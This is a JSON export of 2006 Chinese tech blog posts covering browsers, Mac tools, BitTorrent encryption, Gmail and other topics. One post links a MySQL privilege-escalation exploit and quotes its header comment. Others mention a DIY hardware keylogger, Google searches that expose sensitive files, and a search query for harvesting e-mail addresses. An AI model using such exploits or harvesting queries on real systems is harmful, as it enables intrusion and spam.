    "body": "<a href=\"http://www.mozilla.org/firefox/\" rel=\"tag\">Firefox</a> 的 Back-Forward Cache 吃記憶體吃的很兇：這也是為什麼 1.5 跑起來比 1.0 快，但是肥多了的原因之一。\r\n\r\n在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上看到了 <a href=\"http://weblogs.mozillazine.org/ben/archives/009749.html\" rel=\"tag\">Inside Firefox</a> 討論前陣子 <a href=\"http://www.mozilla.org/firefox/\" rel=\"tag\">Firefox</a> 很嚴重的 memory leak，以及其他跟記憶體有關的問題：<a href=\"http://digg.com/software/About_the_Firefox_memory_leak_\">About the Firefox \"memory leak\"</a>。\r\n\r\n在文章裡提到了 Back-Forward Cache 的頁面數目，也就是 <code>about:config</code> 裡的 <code>browser.sessionhistory.max_total_viewers</code> 這個變數。它的預設值是 -1，表示自動判斷。\r\n\r\n自動判斷 (-1) 的時候，記憶體數量在 32MB 以下的會自動關掉這個功能 (也就是跟設成 0 一樣)，在 64MB 以下 (但是在 32MB 以上) 是 1，在 128MB 是 2，256MB 是 3，512MB 是 5，1GB 以上的是 8。由於這個數字是指<del datetime=\"2006-02-15T15:20:01+00:00\">【每個 Tab 所存的數量】</del> (<strong>Update</strong>：原來那篇文章的作者確認是總量而不是每個 Tab 的數量)【總共要存的數量】，當你 Tab 愈多，記憶體的用量就...\r\n\r\n所以在下面的 comment 就有人抱怨了：\r\n<blockquote>Maybe 8 is not the best upper limit?\r\n\r\nDo users *really* need to go back 8 times? People usually does back a couple of times but 8....</blockquote>\r\n他說得對，你會天天沒事去 Back 八次嗎？這種事情偶而才會來一次吧？於是我把我的 <a href=\"http://www.mozilla.org/firefox/\" rel=\"tag\">Firefox</a> 改成 1：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/99785572/\"><img src=\"http://static.flickr.com/30/99785572_90aaf49c7e.jpg?v=0\" alt=\"\" /></a>\r\n\r\n建議記憶體夠多的人用 2 或 3 就好了，用 8 實在太 (*逼*) 了...\r\n\r\n當然，下面已經有人提出建議，用一些算法 (像是 Current Tab 比較多，其他的比較少) 以降低用量之類的，不過那是以後才會看到的事情... 現在這種先這樣用吧。",
    "title": "Firefox 的 Back-Forward Cache"
  },
  {
    "id": "379",
    "body": "在 tw.bbs.rec.startrek 看到的：<a href=\"http://www.youtube.com/w/?v=9N4QnixoIx4\">Star Trek Voyager: Last Night on Earth</a>。\r\n\r\n影片的部分主要以 <a href=\"http://www.startrek.com/startrek/view/series/VOY/\" rel=\"tag\">Star Trek Voyager</a>: Endgame (<a href=\"http://www.startrek.com/startrek/view/series/VOY/episode/119967.html\">Part I</a>, <a href=\"http://www.startrek.com/startrek/view/series/VOY/episode/119967.html\">Part II</a>) 為主軸，音樂則是 <a href=\"http://www.imdb.com/name/nm1206855/\" rel=\"tag\">Delta Goodrem</a> 的 Last Night On Earth (from <a href=\"http://www.amazon.com/gp/product/B0006IF92U\">Mistaken Identity</a>)。",
    "title": "Star Trek Voyager: Last Night on Earth"
  },
  {
    "id": "380",
    "body": "第一個是 <a href=\"http://iterm.sourceforge.net/\" rel=\"tag\">iTerm</a> 無法存設定的問題，我剛剛在 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 上找到有人抱怨這件事情，並提出還可以的 Workaround：<a href=\"http://blog.syslinx.org/?p=176\">iTerm saving preferences!</a>。\r\n\r\n這篇文章所提出來的解法在這，不過我還沒仔細看：<a href=\"http://sourceforge.net/forum/message.php?msg_id=3467184\">iTerm 0.8.0 not saving prefs or config</a>，在一年多 (仔細看下面的日期) 後找到的解法...\r\n\r\n另外一個是 <a href=\"http://iterm.sourceforge.net/\" rel=\"tag\">iTerm</a> + <a href=\"http://irssi.org/\" rel=\"tag\">irssi</a> 的問題，我想有 Windows 上的 Alt-1、Alt-2、... 切換 Channel 的功能要怎麼改？(也許我真的需要去 hack 看看到底出了什麼事情，為什麼好像還蠻簡單的軟體可以寫得這麼 buggy 呢...)",
    "title": "iTerm 的兩個問題"
  },
  {
    "id": "381",
    "body": "<a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 編號一億的照片：\r\n\r\n<a href=\"http://www.flickr.com/photos/mzan71/100000000/\"><img src=\"http://static.flickr.com/21/100000000_324c6183b1.jpg?v=0\" alt=\"\" /></a>",
    "title": "Flickr 編號一億的照片"
  },
  {
    "id": "382",
    "body": "你看過最機車的密碼要求是什麼？\r\n\r\n<a href=\"http://jeremy.zawodny.com/blog/\" rel=\"tag\">Jeremy Zawodny</a> 在 <a href=\"http://jeremy.zawodny.com/blog/archives/006309.html\">Password Insanity</a> 這篇文章裡抱怨某家公司的要求太過神經質 (你看完下面的說明後，也應該會完全同意他的說法...)。\r\n\r\n這家公司對於密碼基本的要求包括了：密碼必須在 8 ~ 15 個字之間、必須有一個數字、有一個大寫字母、有一個小寫字母、有一個特殊字元。\r\n\r\n再來，密碼裡不可以有連續三個一樣的字 (像是 aaa、zzz、333)，也不可以有連續三個升降冪的情況 (像是 123、654、abc、zyx)。\r\n\r\n最後，如果你輸入的密碼在這套系統裡已前已經使用過了，不能把密碼改成之前使用過的密碼 XD (換句話說，他會記錄你所有用過的密碼！)\r\n\r\n想知道這家公司？這家公司叫 <a href=\"http://www.adp.com/\" rel=\"tag\">ADP</a>。如果你去看他的網頁，你會發現一件非常 (...) 的事...\r\n\r\n在網頁右半部的標語是這樣寫：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/100202877/\"><img src=\"http://static.flickr.com/21/100202877_4bf928e1aa.jpg?v=0\" alt=\"\" /></a>\r\n\r\n嗯... 啊... 喔... 呃... -_-",
    "title": "設定密碼"
  },
  {
    "id": "383",
    "body": "睡醒就被 <a href=\"http://blog.360.yahoo.com/blog-i8QmYlo8cqjdyIGRoE7L5l7EXNg-\" rel=\"tag\">mclee 大長輩</a> 給搖醒：<a href=\"http://blog.360.yahoo.com/blog-i8QmYlo8cqjdyIGRoE7L5l7EXNg-?p=360\">Google 台灣 : 科高?</a>。剛剛也在 <a href=\"http://blog.schee.info/\" rel=\"tag\">Schee</a> 那邊看到了：<a href=\"http://blog.schee.info/archives/2006/02/16/2280/\">Google Taiwan - 古狗正式進入台灣市場</a>。\r\n\r\n看起來這幾年頗熱鬧啊...",
    "title": "Google Taiwan Office"
  },
  {
    "id": "384",
    "body": "<a href=\"http://www.flickr.com/photos/ivanovash/100338468/\"><img src=\"http://static.flickr.com/24/100338468_6f4a63a00b.jpg?v=0\" alt=\"\" /></a>\r\n\r\n上面這是今年情人節送給強者我同學 <a href=\"http://ashley.yichi.org/\" rel=\"tag\">ashley</a> 的花。\r\n\r\n在情人節前一個禮拜，在網路上晃啊晃的，<del>決定幹些壞事</del> 決定在情人節用比較特殊的方法表達同學間的關心：我決定送花給 <a href=\"http://ashley.yichi.org/\" rel=\"tag\">ashley</a>，但是卡片上不署名是誰送的，等到他發花痴亂想一整天以後再跟他說 XD\r\n\r\n於是就開始找資料...\r\n<ul>\r\n\t<li>先再他們公司網頁上的 Contact Us 找到了完整的地址。</li>\r\n\t<li>用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找 \"Flower Shop\"，找到一個很有趣的服務：<a href=\"http://www.locateaflowershop.com/\" rel=\"tag\">Locate-A-Flower-Shop.com - The Florist Directory</a>。你可以輸入 City/State 或是 Zip Code 當作條件，找到那區附近有什麼花店 (包括傳統以及網路的)，而且還有 <a href=\"http://local.google.com/\" rel=\"tag\">Google Local</a> 可以看花店實際上在哪裡。</li>\r\n\t<li>挑了一家花店以後就在裡面選，花了半個小時選花、寫卡片、結帳。然後等 2/14，花店會有人送去。</li>\r\n</ul>\r\n選好以後我就跟我同學講，他以前跟 <a href=\"http://ashley.yichi.org/\" rel=\"tag\">ashley</a> 是室友，聽了我的計畫以後就很興奮 (不知道是什麼心態 XD)，問我我訂了什麼花，要我把樣式的 URL 丟給他看。看了我訂的樣式以後他就很怒：\r\n<blockquote>你怎麼沒送紅色的玫瑰！情人節的花不是他喜不喜歡的問題啊！花是要給辦公室裡其他人看的！一定要鮮紅色的玫瑰啊啊啊！</blockquote>\r\n被罵了以後我本來想要寫信去換的，後來想想還是算了 :p\r\n\r\n接下來就是等待。美西時間 2/14 中午 (在 Mail 上面寫會在中午送到) 大約是台灣時間 2/15 凌晨，我算了算時間，情人節當天花店的生意一定很重，那就 2/15 睡到白天醒來 (大約是美西快下班的時間) 以後打電話給 <a href=\"http://ashley.yichi.org/\" rel=\"tag\">ashley</a>，跟他聊聊天 XD\r\n\r\n結果我在 (美西) 下午三點打過去發現花沒送到！反而先被 <a href=\"http://ashley.yichi.org/\" rel=\"tag\">ashley</a> 知道！太可惡了！變成 <a href=\"http://ashley.yichi.org/\" rel=\"tag\">ashley</a> 說他很期待到底是什麼樣子 XD\r\n\r\n(後來到了 2/15 才送到，另外多送了一束玫瑰，上面的卡片說他們 2/14 那天從早上一直送，送到晚上十點才送完，但是因為 <a href=\"http://ashley.yichi.org/\" rel=\"tag\">ashley</a> 公司五點就下班了，希望接受我們的道歉 blah blah...)\r\n\r\nAnyway... 情人節快樂 :)\r\n\r\nPS：結果 <a href=\"http://ashley.yichi.org/\" rel=\"tag\">ashley</a> 說整個辦公室只有他收到花，而且還是兩個不同的人送的... (你這幾天要小心水裡面被放瀉藥之類的 XD)",
    "title": "Valentine's Day"
  },
  {
    "id": "385",
    "body": "有長輩測試 IE7 Beta2 後發現 IE7 Beta2 對於 SSL 設定有問題的站台會整個擋掉，而不會像以前那樣跳初一個小視窗出來要你確認：<a href=\"http://www.ensight.org/archives/2006/02/16/stupid-google-ssl-certificates/\">Stupid Google SSL Certificates</a>。\r\n\r\n文章裡 <a href=\"http://www.ensight.org/\" rel=\"tag\">Jeremy Wright</a> 舉了 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 的例子：他說 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 的某些服務使用了 www.google.com 的 SSL Certificate，但是使用的站台並不是 www.google.com。\r\n\r\n不過我不記得 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 哪個服務是這樣惡搞的啊？還是 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 遇到同一個 Domain 的情況不會哀哀叫？這樣就太糟了...",
    "title": "IE7 的 SSL 安全政策"
  },
  {
    "id": "386",
    "body": "Intel-based Mac 上已經可以從 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 開機了，不過要從 USB 硬碟：\r\n<blockquote>Using elilo and a modified Linux kernel, we can boot from a USB hard disk on the 17\" iMac Core Duo. We are using the hacked vesafb driver to inherit the bootloader's framebuffer, keyboard and a USB network card work. Gentoo runs and can compile the Linux kernel.</blockquote>\r\n網站在：<a href=\"http://xbox-linux.org/mactel/index.php/Main_Page\">xbox-linux.org/mactel/index.php/Main_Page</a>，目前因為 <a href=\"http://en.wikipedia.org/wiki/Slashdotted\" rel=\"tag\">Slashdotted</a>、<a href=\"http://en.wikipedia.org/wiki/Digg\" rel=\"tag\">Digg Effect</a> 的關係，網站速度很慢，你可以透過 <a href=\"http://www.coralcdn.org/\" rel=\"tag\">CoralCDN</a> 連：<a href=\"http://xbox-linux.org.nyud.net:8090/mactel/index.php/Main_Page\">xbox-linux.org.nyud.net:8090/mactel/index.php/Main_Page</a>。\r\n\r\n這是開機的畫面：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/100574185/\"><img src=\"http://static.flickr.com/39/100574185_e352e241ed.jpg?v=0\" alt=\"\" /></a>",
    "title": "Intel iMac 上執行 Linux"
  },
  {
    "id": "387",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 上看到 <a href=\"http://www.mcafee.com/\" rel=\"tag\">McAfee</a> 的 George Kurtz 在 <a href=\"http://2006.rsaconference.com/\" rel=\"tag\">RSA Conference 2006</a> 會場展示用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找出來大批不適合公開的資料：<a href=\"http://digg.com/security/Things_you_don_t_want_Google_to_find_-_screenshots\">Things you don't want Google to find - screenshots</a>，原文在 <a href=\"http://www.siliconvalleysleuth.com/2006/02/things_you_dont.html\">Things you don't want Google to find</a> 這，包含了豐富的 Screenshot 可以看 XD\r\n\r\n而在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 的第一個 comment 則提供了一個連結，早在一年多前 <a href=\"http://www.oreilly.com/\" rel=\"tag\">O'Reilly</a> 的 <a href=\"http://www.onlamp.com/\" rel=\"tag\">ONLamp</a> 上就有告訴你怎麼用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找到這些資料：<a href=\"http://www.onlamp.com/security/2004/10/07/examples/signatures.txt\">www.onlamp.com/security/2004/10/07/examples/signatures.txt</a>。\r\n\r\n如果你有想到，這些資訊配合上 <a href=\"http://en.wikipedia.org/wiki/Social_engineering_(computer_security)\" rel=\"tag\">Social Engineering</a> 時，能夠發揮的效果很棒啊...\r\n\r\n所以該用 <code>.htaccess</code> 限制 Username/Password 存取的部份還是要做啊，不要以為 Search Engine 找不到... (就如同很久前 IRC 上某 channel 的 log 流出是一樣的道理)",
    "title": "用 Google 尋找各種不適合公開在網路上的資料"
  },
  {
    "id": "388",
    "body": "在 <a href=\"http://en.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 上看到 Bittorrent Encryption 的條目【<a href=\"http://en.wikipedia.org/wiki/Protocol_header_encrypt\" rel=\"tag\">Protocol header encrypt</a>】，說明最近這幾個月 (Bittorrent) Header Encryption 的故事。\r\n\r\n這段故事從 <a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a> 先在 0.60 版實作 Protocol Header Encryption (PHE) 開始講，但是這部份的實作細節並沒有公開發表，所以其他 <a href=\"http://www.bittorrent.com/\" rel=\"tag\">Bittorrent</a> 軟體也不知道要怎麼做。\r\n\r\n過了幾個月後 <a href=\"http://www.ipp2p.org/\" rel=\"tag\">IPP2P</a> 宣稱找到方法偵測 <a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a> 的 PHE (由於 <a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a> 的實作方式沒有公開，這部份應該是使用逆向工程法找出規則)。\r\n\r\n再來是 <a href=\"http://azureus.sourceforge.net/\" rel=\"tag\">Azureus</a> 決定自己發展一套規格，後來經過了一些事情，決定與 <a href=\"http://www.utorrent.com/\" rel=\"tag\">µTorrent</a> 一起合作。\r\n\r\n我剛剛看了一下目前的 Spec 網頁，發現在 2/9 的時候 1.0 版的實作規格就已經定案：<a href=\"http://azureus.aelitis.com/wiki/index.php/Message_Stream_Encryption\" rel=\"tag\">Message Stream Encryption (aka PHE) format specification</a>，而 <a href=\"http://azureus.sourceforge.net/\" rel=\"tag\">Azureus</a> 2.4.0.0 也成為第一個支援 MSE/PE 的正式版本，<a href=\"http://www.utorrent.com/\" rel=\"tag\">µTorrent</a> 的 Beta 版也有支援部份 Protocol。",
    "title": "Bittorrent 的 Encryption (MSE/PE)"
  },
  {
    "id": "389",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/100958226/\"><img src=\"http://static.flickr.com/37/100958226_0e4e7e36e3.jpg?v=0\" alt=\"\" /></a>\r\n\r\n<strong>Update</strong>：剛剛去看的時候已經修正了。",
    "title": "附圖一張"
  },
  {
    "id": "390",
    "body": "<a href=\"http://www.coralcdn.org/\" rel=\"tag\">CoralCDN</a> 從 <code>.nyud.net:8090</code> 換到 <code>.nyud.net:8080</code>，舊的還是會動，但是建議大家以後都用新的：<a href=\"http://www.cs.nyu.edu/pipermail/coral-announce/2006q1/000015.html\">CoralCDN starts using port 8080</a>。\r\n\r\n換 port 有什麼好處嗎 hmmm...",
    "title": "CoralCDN 的公告"
  },
  {
    "id": "391",
    "body": "<a href=\"http://blogs.zdnet.com/\" rel=\"tag\">ZDNet</a> 發現 <a href=\"http://www.gmail.com/\" rel=\"tag\">Gmail</a> 裡面的 Javascript code 又有新東西了：<a href=\"http://blogs.zdnet.com/Google/?p=108\">More code foreshadowing perhaps?</a>。\r\n\r\n這次是 Voicemail：\r\n<blockquote><code>var hZ=\"inbox, star, starred, chat, chats, draft, drafts, sent, sentmail, sent-mail, sent mail, all, allmail, all-mail, all mail, anywhere, archive, spam, trash, read, unread, <strong>voicemail</strong>, <strong>voicemails</strong>\";</code></blockquote>\r\n以及 <a href=\"http://www.evite.com/\" rel=\"tag\">Evite.com</a>：\r\n<blockquote><code>var Js=new AG([\"gmail.com\", \"googlemail.com\", \"google.com\", \"<strong>evite.com</strong>\"]);</code></blockquote>\r\n之前放到 <a href=\"http://www.gmail.com/\" rel=\"tag\">Gmail</a> 上的 code 被發現以後很快就公佈服務了，這次應該也是？\r\n\r\n<a href=\"http://www.gmail.com/\" rel=\"tag\">Gmail</a> 的功能愈來愈多了...",
    "title": "Gmail"
  },
  {
    "id": "392",
    "body": "<a href=\"http://binarybonsai.com/\" rel=\"tag\">Binary Bonsai</a> (也就是我現在用的這個 Theme <a href=\"http://binarybonsai.com/wordpress/k2/\" rel=\"tag\">K2</a> 的發展團體) 現在是用 <a href=\"http://getvanilla.com/\" rel=\"tag\">Vanilla Forum</a>，我有架過 (在 <a href=\"http://blog.gslin.org/archives/2005/08/16/37/\">vanilla UTF-8 修正</a> 這篇)，也用過一陣子，的確不好用，所以他們決定換軟體：<a href=\"http://binarybonsai.com/forums/comments.php?DiscussionID=628\">vBulletin Donation Drive</a>\r\n<blockquote>We've now been using these Vanilla forums for a good while now, and the traffic has skyrocketed way beyond anything I could've hoped or imagined for.\r\n\r\nI've noticed however, that I am continually lost in the massive activity on here. It's hard to really keep track of what's new and what belongs where. It is of course not helped by the fact that the current beta I've installed is quite buggy; but I'll take full responsibility for that,\r\n\r\nAnyway, I looked a bit at the other solutions out there, specifically what solutions that are being used on the forums I otherwise frequent. And as near as I can tell, vBulletin is the best solution out there at the moment. It's highly customizable, well supported and it works very very well. There's only one problem, it costs money.\r\n\r\n$160 to be specific.\r\n\r\nSo Chris and I agreed to try doing a small donation drive to see if we couldn't raise the money to buy a license for vBulletin.\r\n\r\nSo what's in it for you? Well, if you feel like I do, that the current forums are a bit hard to navigate, your reward will be a better forum. Also however, we'll do a tribute page, on which your name will 'weigh' as much as your relative donation. (If you don't want your name on the donation page, make sure to note that down).\r\n\r\nMake sure to include a URI to your site, if you have one.</blockquote>\r\n<strong>Update</strong>：捐款已經到 140% 了 :)\r\n\r\n<strong>Update</strong>：新的 forum 已經上線了，公告的文章在這：<a href=\"http://binarybonsai.com/forums/comments.php?DiscussionID=649\">IMPORTANT: NEW FORUMS!</a>，而 forum (vBulletin) 在這：<a href=\"http://getk2.com/forum/\" rel=\"tag\">K2 Community Forums</a>。\r\n\r\n當然，一樣有 RSS 可以訂閱 :)",
    "title": "K2 Forums"
  },
  {
    "id": "393",
    "body": "一張在 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 看到的圖：\r\n\r\n<a href=\"http://www.flickr.com/photos/qtr/100598249/\"><img src=\"http://static.flickr.com/39/100598249_a82fc9ef35.jpg\" alt=\"\" /></a>",
    "title": "iPod"
  },
  {
    "id": "394",
    "body": "<a href=\"http://komica.dyndns.org/\" rel=\"tag\">Komica</a> 的 RSS。\r\n\r\n放在 <a href=\"http://bsdrss.com/komica/\">http://bsdrss.com/komica/</a>，裡面那堆 <code>.xml</code> 就是每個討論區的 RSS feed。另外有個 <code>komica-pl.txt</code> 是 Perl script。\r\n\r\n<strong>Update</strong>：我用 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 訂閱，看不到圖。我正在解決，但如果你知道原因，麻煩留個言或是 mail 給我，謝謝。\r\n\r\n<strong>Update</strong>：我知道原因了 (Referer)，正在用另外的方法解決 :o",
    "title": "Komica RSS"
  },
  {
    "id": "395",
    "body": "<a href=\"http://www.flickr.com/photos/pokle/99222708/\"><img src=\"http://static.flickr.com/26/99222708_d1085a0ff1.jpg\" alt=\"\" /></a>",
    "title": "la trobe' HDRI"
  },
  {
    "id": "396",
    "body": "<a href=\"http://maxxuss.hotbox.ru/patch_8g1165.html\">Maxxuss Patches for Mac OS X 10.4.4 8G1165 x86</a>：\r\n<blockquote>This is the first release of my Patch Solution for the official Mac OS X 10.4.4 on the Intel platform. It allows you to run this Mac OS X release on a generic x86 computer (SSE2 required).</blockquote>",
    "title": "Mac OSX 10.4.4 on x86 Platform"
  },
  {
    "id": "397",
    "body": "看到 <a href=\"http://gdfan.twbbs.org/blog/\" rel=\"tag\">GongDa's Blog</a> 的 <a href=\"http://gdfan.twbbs.org/blog/2006/02/20/467\">Bittorrent 的 Protocol header encrypt(PHE)、Message Stream Encryption(MSE)/PE</a> 這篇提到：\r\n<blockquote>另外，和 rxlin 討論的時候，他有提到說都公佈了實作部分的話，那是不是 ISP 也知道怎麼擋了…-_-|</blockquote>\r\nSSL 也公佈了實做的部分，你目前有辦法截聽內容嗎？同樣的思路放到這邊來，我只要把固定字串的判斷改用密碼學裡面的方法，是不是也可以達到「無法偵測」的效果？\r\n\r\n目前 MSE 1.0 版是透過五個步驟把資料送出去：\r\n<dl>\r\n\t<dt>A-&gt;B</dt><dd>Diffie Hellman Ya (<strong>96 bytes</strong>)<br />PadA (<strong>Random, 0 ~ 512 bytes</strong>)</dd>\r\n\t<dt>B-&gt;A</dt><dd>Diffie Hellman Yb (<strong>96 bytes</strong>)<br />PadB (<strong>Random, 0 ~ 512 bytes</strong>)</dd>\r\n\t<dt>A-&gt;B</dt><dd>HASH('req1', S) (<strong>16 bytes</strong>)<br />HASH('req2', SKEY) xor HASH('req3', S) (<strong>16 bytes</strong>)<br />ENCRYPT(VC, crypto_provide, len(PadC), PadC, len(IA)) (<strong>Random, RC4</strong>)<br />ENCRYPT(IA) (<strong>Random, RC4</strong>)</dd>\r\n\t<dt>B-&gt;A</dt><dd>ENCRYPT(VC, crypto_select, len(padD), padD)<br />ENCRYPT2(Payload Stream) (這邊開始傳實際的內容)</dd>\r\n\t<dt>A-&gt;B</dt><dd>ENCRYPT2(Payload Stream) (這邊開始傳實際的內容)</dd>\r\n</dl>\r\n前面兩個步驟是雙方先各自產生一個 Xa 及 Xb，然後各自計算出 Ya 及 Yb 丟給對方。對方收到後用自己的 Xb (或 Xa) 與 Ya (或 Yb) 運算，就會得到 S，也就是規格裡面這段：\r\n<blockquote>DH secret: S = (Ya^Xb) mod P = (Yb^Xa) mod P</blockquote>\r\n這就是 D-H exchange，如果你問，在得知 Ya 與 Yb 後，是否可以求得 S，或是更強烈，直接求得 Xa/Xb：這是密碼學上的 <a href=\"http://en.wikipedia.org/wiki/Discrete_logarithm\" rel=\"tag\">Discrete Logarithm Problem</a>，目前 768 bits 的強度已經足夠應付藍星的 P-Cube 或是其他類似的設備。\r\n\r\n接下來的 SKEY 是 .torrent 檔案裡面的資訊，第四步的 ENCRYPT 是 RC4，最後面的 ENCRYPT2 是選用 plaintext 或 RC4 編碼，但到這邊的 offset 已經不固定了...。\r\n\r\n以這個架構，目前看不出來要怎麼擋。也許是透過軟體實做上的瑕疵 (像是亂數太過規則之類的)，不過這個就算發生，也只是那套軟體的問題。另外一種可能是透過 MSE 在大量連線上可能造成密碼系統的弱點，不過到時候 2.0 版又會跟著出爐...",
    "title": "MSE/PE 的實做"
  },
  {
    "id": "398",
    "body": "<a href=\"http://www.frostyplace.com/index.php?story_id=4417\">MacBook Pro 正式出貨　網友分享拆箱照</a>：\r\n<blockquote>Apple 的 MacBook Pro 在上週才正式開始交貨，本週末就有幸運的網友在收到新機器後的第一時間把對於 Mac 迷們有相當重大意義的新產品拆箱照片上傳至 Flickr 網站與同好們分享。</blockquote>\r\n<a href=\"http://www.flickr.com/photos/andrewescobar/sets/72057594066307201/\">MacBook Pro Packaging</a>：\r\n<blockquote>MacBook Pro Packaging. These are said to be <strong>internall pics from the Apple campus.</strong></blockquote>",
    "title": "MacBook Pro"
  },
  {
    "id": "399",
    "body": "<a href=\"http://www.flickr.com/photos/isthisblog/101107471/\"><img src=\"http://static.flickr.com/30/101107471_c70b5e8a86.jpg\" alt=\"\" /></a>",
    "title": "Portico"
  },
  {
    "id": "400",
    "body": "自製硬體的 Keylogger，很邪惡：<a href=\"http://www.keelog.com/diy.html\">DIY hardware keylogger</a>。",
    "title": "硬體的 Keylogger"
  },
  {
    "id": "401",
    "body": "<a href=\"http://www.milw0rm.com/id.php?id=1518\">MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit</a>，還看到 cvs tag...：\r\n<pre><small>/*\r\n * $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $\r\n *\r\n * raptor_udf2.c - dynamic library for do_system() MySQL UDF\r\n * Copyright (c) 2006 Marco Ivaldi &lt;raptor@0xdeadbeef.info&gt;\r\n *\r\n * This is an helper dynamic library for local privilege escalation through\r\n * MySQL run with root privileges (very bad idea!), slightly modified to work \r\n * with newer versions of the open-source database. Tested on MySQL 4.1.14.</small></pre>",
    "title": "MySQL 4.x/5.0 安全問題"
  },
  {
    "id": "402",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到 <a href=\"http://digg.com/linux_unix/XP_Desktop_Environment_for_Linux\">XP Desktop Environment for Linux</a>，模擬 Windows XP 的視窗桌面：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/102642895/\"><img src=\"http://static.flickr.com/19/102642895_10e4a7d7ae.jpg\" alt=\"\" /></a>",
    "title": "在 X 下模擬 Windows XP 桌面環境"
  },
  {
    "id": "403",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到 <a href=\"http://digg.com/technology/World_s_largest_Windows_error_message\">World's largest Windows error message</a>：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/102673912/\"><img src=\"http://static.flickr.com/43/102673912_2ca9cafdd0.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/102674473/\"><img src=\"http://static.flickr.com/30/102674473_d13b61694c.jpg\" alt=\"\" /></a>",
    "title": "時代廣場的 Windows Error Message"
  },
  {
    "id": "404",
    "body": "<a href=\"http://www.acm.org/\" rel=\"tag\">ACM</a> 公佈 2005 的名單了：<a href=\"http://awards.acm.org/current_recipients.cfm\">2005 Award Recipients</a>。",
    "title": "ACM 2005 Award Recipients"
  },
  {
    "id": "405",
    "body": "在 <a href=\"http://www.ptt.cc/\" rel=\"tag\">Ptt</a> 上看到有人在抱怨 Razorback 連不上，結果剛剛看到這個全世界最大的 <a href=\"http://en.wikipedia.org/wiki/EDonkey_network\" rel=\"tag\">eDonkey Network</a> 伺服器 (在比利時與瑞士) 被抄掉的消息：<a href=\"http://www.slyck.com/news.php?story=1102\">Razorback Servers Seized</a>。\r\n\r\n看了一下原因，可以知道是因為 Razorback 上面的資訊「幫助犯罪」而被抄。所以可以預期以後的 <a href=\"http://en.wikipedia.org/wiki/EDonkey_network\" rel=\"tag\">eDonkey Network</a> Server (中央伺服器) 只會剩下 Bootstrap 的功能，用以讓新安裝軟體的機器找到其他有參與 <a href=\"http://en.wikipedia.org/wiki/Kad_Network\" rel=\"tag\">Kad Network</a> 的人。而最重要的搜尋以及下載的功能都會透過 <a href=\"http://en.wikipedia.org/wiki/Kad_Network\" rel=\"tag\">Kad Network</a> (無中央伺服器型 P2P 網路) 完成。",
    "title": "eDonkey Network 的 Razorback Servers 被抄"
  },
  {
    "id": "406",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到 <a href=\"http://www.gmail.com/\" rel=\"tag\">Gmail</a> 有 Smart Reply 的功能了：<a href=\"http://digg.com/technology/New_GMail_Feature%3A_Smart_Replying\">New GMail Feature: Smart Replying</a>。\r\n\r\n在英文版的 <a href=\"http://www.gmail.com/\" rel=\"tag\">Gmail</a> 裡面 (我不確定中文版支援了沒)，你可以設定多個 e-mail 帳號，然後當這些帳號認證過以後就可以用來當作 From。\r\n\r\n但以前要 Reply 的時候 From 一定會是 username@gmail.com，現在的 Smart Reply 會看對方寄到哪個信箱而決定 From：<a href=\"http://blogs.zdnet.com/Google/?p=111\">Gmail fixed reply problem</a>。(當然，你可以再改回 username@gmail.com)",
    "title": "Gmail 的 Smart Reply"
  },
  {
    "id": "407",
    "body": "<a href=\"http://www.yahoo.com/\" rel=\"tag\">Yahoo!</a> 的 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a>：<a href=\"http://developer.yahoo.net/php/\">Yahoo! Developer Network - PHP Developer Center</a>。\r\n\r\n主要的重點都在 Web Service 上...",
    "title": "PHP Developer Center @ Yahoo!"
  },
  {
    "id": "408",
    "body": "<a href=\"http://blog.outer-court.com/archive/2006-02-24-n86.html\">How Spammers Can Abuse Google Pages</a> 講到了一個問題：由於 <a href=\"http://pages.google.com/\" rel=\"tag\">Google Pages</a> 是使用 username 當作 domain 的一部份，所以以後 Spammer 可以用 <code><a href=\"http://www.google.com/search?q=site%3Apagetastic.com+%7C+site%3Agooglepages.com\">site:pagetastic.com | site:googlepages.com</a></code> 當作搜尋的條件，然後得到 e-mail 的部分...\r\n\r\n現在用這個條件搜尋已經可以得到一些資料了，過個幾個禮拜後應該會更明顯...",
    "title": "Google Pages 洩漏了 E-mail 資訊"
  },
  {
    "id": "409",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://www.apple.com/ipod/\" rel=\"tag\">iPod</a> 在日本的市場佔有率過半的新聞：<a href=\"http://apple.slashdot.org/article.pl?sid=06/02/24/2044255\">iPod Takes Japan by Storm</a>。\r\n\r\n如果 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 沒有在 Desktop OS 卡住位置，應該可以看到 Steve Jobs + Borg 的合成照片...",
